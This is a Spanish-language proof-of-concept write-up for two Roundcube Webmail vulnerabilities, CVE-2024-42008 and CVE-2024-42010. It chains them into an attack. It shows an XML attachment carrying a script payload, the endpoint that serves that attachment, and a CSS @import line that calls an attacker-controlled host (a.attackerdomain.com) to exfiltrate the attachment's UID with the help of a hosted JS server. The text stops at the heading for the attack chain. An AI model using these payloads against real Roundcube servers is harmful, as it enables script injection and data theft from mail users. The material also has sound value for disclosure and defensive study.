
POC para las vulnerabilidades de Roundcube CVE-2024-42008 y CVE-2024-42010
Esta prueba de concepto (PoC) demuestra la explotación de dos vulnerabilidades en Roundcube Webmail que permiten la inyección de CSS y un cross-site scripting (XSS). El ataque consta de dos etapas:
XSS mediante archivo adjunto XML malicioso (CVE-2024-42008)
Debido a controles insuficientes en la carga de archivos, se puede enviar un archivo XML como adjunto con código JavaScript, por ejemplo:
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
Esto era un problema conocido y se registró como CVE-2020-13965, y la mitigación consistía en deshabilitar la opción "Abrir adjunto". Pero aún se puede acceder al archivo a través del endpoint
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
Donde UID es el identificador único de este adjunto concreto en este buzón concreto (es decir, INBOX).

Exfiltración de HTML mediante inyección de CSS (CVE-2024-42010)
Al enviar un correo electrónico, es posible inyectar tu propio archivo CSS cuando está alojado en un dominio que comienza con a. A través de eso y de un archivo de servidor JavaScript que procesa las solicitudes realizadas por el host Roundcube vulnerable, es posible extraer el UID del adjunto XSS malicioso.
Importa el CSS en un correo enviado con
<style>
@import "//a.attackerdomain.com/start?"
</style>
Aloja el servidor JS (roundcube-css-exploit.js) que exfiltra el UID del adjunto malicioso

Cadena de ataque